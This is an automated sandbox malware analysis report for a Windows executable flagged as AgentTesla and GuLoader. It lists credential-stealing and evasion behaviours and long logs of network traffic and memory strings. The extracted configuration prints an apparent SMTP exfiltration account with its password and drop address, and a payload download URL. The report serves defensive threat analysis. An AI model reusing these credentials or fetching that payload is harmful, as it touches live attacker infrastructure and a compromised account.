Edit tour

Windows Analysis Report
FRACCIONAMIENTO 1722403906461L.exe

Overview

General Information

Sample Name:	FRACCIONAMIENTO 1722403906461L.exe
Analysis ID:	612103
MD5:	04e8c57a5df1834c590c49ccc8734d6e
SHA1:	b53b20975776cc58ed77d8bfff905303aa84391e
SHA256:	345aa66f6945c8fadee442f115591eaa694196c3ec207246814b5c90ab39df0a
Infos:

Detection

AgentTesla GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected GuLoader

Hides threads from debuggers

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

C2 URLs / IPs found in malware configuration

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses SMTP (mail sending)

PE / OLE file has an invalid certificate

Sigma detected: Suspicious Outbound SMTP Connections

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64native

FRACCIONAMIENTO 1722403906461L.exe (PID: 1612 cmdline: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" MD5: 04E8C57A5DF1834C590C49CCC8734D6E)

CasPol.exe (PID: 3292 cmdline: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

conhost.exe (PID: 956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "SMTP Info": "titkarsag@ferdi.huQ1w2e3r4t5!mail.ferdi.hulucassevirus@gmail.com"}

Threatname: GuLoader

{"Payload URL": "https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000001.00000002.16137261344.00000000033CC000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CasPol.exe PID: 3292	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 3292	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 1 entries

Sigma Signatures

There are no malicious signatures, click here to show all signatures.

Source: Network Connection

Author: frack113: Data: DestinationIp: 185.51.191.23, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, Initiated: true, ProcessId: 3292, Protocol: tcp, SourceIp: 192.168.11.20, SourceIsIpv6: false, SourcePort: 49786

Source: Process started

Author: frack113: Data: Command: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, CommandLine|base64offset|contains: }}, Image: C:\Windows\System32\conhost.exe, NewProcessName: C:\Windows\System32\conhost.exe, OriginalFileName: C:\Windows\System32\conhost.exe, ParentCommandLine: "C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe" , ParentImage: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe, ParentProcessId: 3292, ParentProcessName: CasPol.exe, ProcessCommandLine: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1, ProcessId: 956, ProcessName: conhost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000000.15477945295.0000000000BC0000.00000040.00000400.00020000.00000000.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E"}
Source: conhost.exe.956.4.memstrmin	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "SMTP Info": "titkarsag@ferdi.huQ1w2e3r4t5!mail.ferdi.hulucassevirus@gmail.com"}

Multi AV Scanner detection for submitted file

Source: FRACCIONAMIENTO 1722403906461L.exe	Virustotal: Detection: 27%			Perma Link
Source: FRACCIONAMIENTO 1722403906461L.exe	ReversingLabs: Detection: 12%

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Finlandsrejserne

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.174:443 -> 192.168.11.20:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.11.20:49785 version: TLS 1.2

Source: FRACCIONAMIENTO 1722403906461L.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405D74
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040290B FindFirstFileW,	1_2_0040290B
Source: C:\Users\user\Desktop\FRACCIONAMIENTO 1722403906461L.exe	Code function: 1_2_0040699E FindFirstFileW,FindClose,	1_2_0040699E

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://drive.google.com/uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E

Source: Joe Sandbox View

ASN Name: TARHELYHU TARHELYHU

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Joe Sandbox View

IP Address: 185.51.191.23 185.51.191.23

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/0al9jnh9ri2cnupcf3pilpptme4k7l2h/1650461475000/18066694053602596605/*/1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-74-docs.googleusercontent.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.11.20:49786 -> 185.51.191.23:587

Source: global traffic

TCP traffic: 192.168.11.20:49786 -> 185.51.191.23:587

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:23 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:32 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:41 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:51 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:29:56 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:05 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:15 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:23 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:29 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:36 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:41 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:30:50 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:00 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:08 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:17 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:23 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:32 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Length: 1103Content-Type: text/html; charset=UTF-8Date: Wed, 20 Apr 2022 13:31:39 GMTAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 00000003.00000002.20397299424.000000001D33C000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: subdomain_match":["go","tv"]},{"applied_policy":"EdgeUA","domain":"video.zhihu.com"},{"applied_policy":"ChromeUA","domain":"la7.it"},{"applied_policy":"ChromeUA","domain":"ide.cs50.io"},{"applied_policy":"ChromeUA","domain":"moneygram.com"},{"applied_policy":"ChromeUA","domain":"blog.esuteru.com"},{"applied_policy":"ChromeUA","domain":"online.tivo.com","path_match":["/start"]},{"applied_policy":"ChromeUA","domain":"smallbusiness.yahoo.com","path_match":["/businessmaker"]},{"applied_policy":"ChromeUA","domain":"jeeready.amazon.in","path_match":["/home"]},{"applied_policy":"ChromeUA","domain":"abc.com"},{"applied_policy":"ChromeUA","domain":"mvsrec738.examly.io"},{"applied_policy":"ChromeUA","domain":"myslate.sixphrase.com"},{"applied_policy":"ChromeUA","domain":"search.norton.com","path_match":["/nsssOnboarding"]},{"applied_policy":"ChromeUA","domain":"checkdecide.com"},{"applied_policy":"ChromeUA","domain":"virtualvisitlogin.partners.org"},{"applied_policy":"ChromeUA","domain":"carelogin.bryantelemedicine.com"},{"applied_policy":"ChromeUA","domain":"providerstc.hs.utah.gov"},{"applied_policy":"ChromeUA","domain":"applychildcaresubsidy.alberta.ca"},{"applied_policy":"ChromeUA","domain":"elearning.evn.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"telecare.keckmedicine.org"},{"applied_policy":"ChromeUA","domain":"authoring.amirsys.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"elearning.seabank.com.vn","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"app.fields.corteva.com","path_match":["/login"]},{"applied_policy":"ChromeUA","domain":"gsq.minornet.com"},{"applied_policy":"ChromeUA","domain":"shop.lic.co.nz"},{"applied_policy":"ChromeUA","domain":"telehealthportal.uofuhealth.org"},{"applied_policy":"ChromeUA","domain":"portal.centurylink.com"},{"applied_policy":"ChromeUA","domain":"visitnow.org"},{"applied_policy":"ChromeUA","domain":"www.hotstar.com","path_match":["/in/subscribe/payment/methods/dc","/in/subscribe/payment/methods/cc"]},{"applied_policy":"ChromeUA","domain":"tryca.st","path_match":["/studio","/publisher"]},{"applied_policy":"ChromeUA","domain":"telemost.yandex.ru"},{"applied_policy":"ChromeUA","domain":"astrogo.astro.com.my"},{"applied_policy":"ChromeUA","domain":"airbornemedia.gogoinflight.com"},{"applied_policy":"ChromeUA","domain":"itoaxaca.mindbox.app"},{"applied_policy":"ChromeUA","domain":"app.classkick.com"},{"applied_policy":"ChromeUA","domain":"exchangeservicecenter.com","path_match":["/freeze"]},{"applied_policy":"ChromeUA","domain":"bancodeoccidente.com.co","path_match":["/portaltransaccional"]},{"applied_policy":"ChromeUA","domain":"better.com"},{"applied_policy":"IEUA","domain":"bm.gzekao.cn","path_match":["/tr/webregister/"]},{"applied_policy":"ChromeUA","domain":"scheduling.care.psjhealth.org","path_match":["/virtual"]},{"applied_policy":"ChromeUA","domain":"salud.go.cr"},{"applied_policy":"ChromeUA","domain":"learning.chungdahm.com"},{"applied_policy":"C

Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://GeLRtI.com
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17099903213.000000001C0E1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20398038371.000000001D3CB000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000002.20397764298.000000001D39E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://YCkYMz5eVEN7dA.org
Source: CasPol.exe, 00000003.00000002.20396460069.000000001D291000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://YCkYMz5eVEN7dA.orgt-
Source: CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/cps.html0
Source: CasPol.exe, 00000003.00000003.17281402983.00000000201CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ac.economia.gob.mx/last.crl0G
Source: CasPol.exe, 00000003.00000003.17282659739.0000000020111000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acedicom.edicomgroup.com/doc0
Source: CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0?
Source: CasPol.exe, 00000003.00000003.17281775683.00000000201A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv1.crl0
Source: CasPol.exe, 00000003.00000003.17282304601.0000000020183000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraizv2.crl0
Source: FRACCIONAMIENTO 1722403906461L.exe	String found in binary or memory: http://aia.mesince.com/ms-tsa.cer02
Source: FRACCIONAMIENTO 1722403906461L.exe	String found in binary or memory: http://aia.mesince.com/ms.cer0
